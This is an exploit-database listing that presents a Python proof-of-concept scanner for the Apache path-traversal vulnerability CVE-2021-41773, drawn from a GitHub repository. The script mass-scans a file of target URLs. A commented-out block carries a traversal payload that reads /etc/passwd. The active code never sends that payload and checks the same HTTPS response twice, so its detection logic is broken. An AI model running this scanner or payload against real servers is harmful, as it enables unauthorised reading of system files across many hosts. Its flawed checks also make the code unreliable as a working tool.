Exploit databaseDownload repository ZIP
GH-e74163287f2eef137a9b8652fb8ccc76
zephrfish/cve-2021-41773-poc
Sources for CVE-2021-41773
117 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
zephrfish/cve-2021-41773-pocRevision ef67aeca502f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 2,261 bytes#!/usr/bin/env python3
# CVE-2021-41773-PoC
# ZephrFish 2021
import urllib3
import sys
import re
import requests
urllib3.disable_warnings()
# Colours
def prRed(skk): print("\033[91m {}\033[00m" .format(skk))
def prGreen(skk): print("\033[92m {}\033[00m" .format(skk))
def CVEPoC(urls):
with open(urls.rstrip(), 'r') as f:
for url in f:
# regex=re.compile('^http://|^https://')
# try:
# normalresponse = requests.get(f'http://{url}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False)
# #print(url, normalresponse.status_code)
# if 'root' in normalresponse.text:
# prRed('[+] Vulnerable: ' + url)
# else:
# prGreen('[-] Not Vulnerable: ' + url)
# except:
# pass
# else:
HTTPSecure = "https://"+url.rstrip()
HTTPNot = "http://"+url.rstrip()
try:
httpsresponse = requests.get(HTTPSecure, verify=False, timeout=8)
httpresponse = requests.get(HTTPNot, verify=False, timeout=8)
#print(url.rstrip(), httpsresponse.status_code, httpresponse.status_code)
if 'root:*' in httpsresponse.text:
prRed('[+] Vulnerable: ' + url)
elif 'root:*' in httpsresponse.text:
prRed('[+] Vulnerable: ' + url)
else:
prGreen('[-] Not Vulnerable: ' + url)
except:
pass
if __name__ == '__main__':
try:
CVEPoC(sys.argv[1])
except:
print("Usage: python3 poc.py <urls.txt>")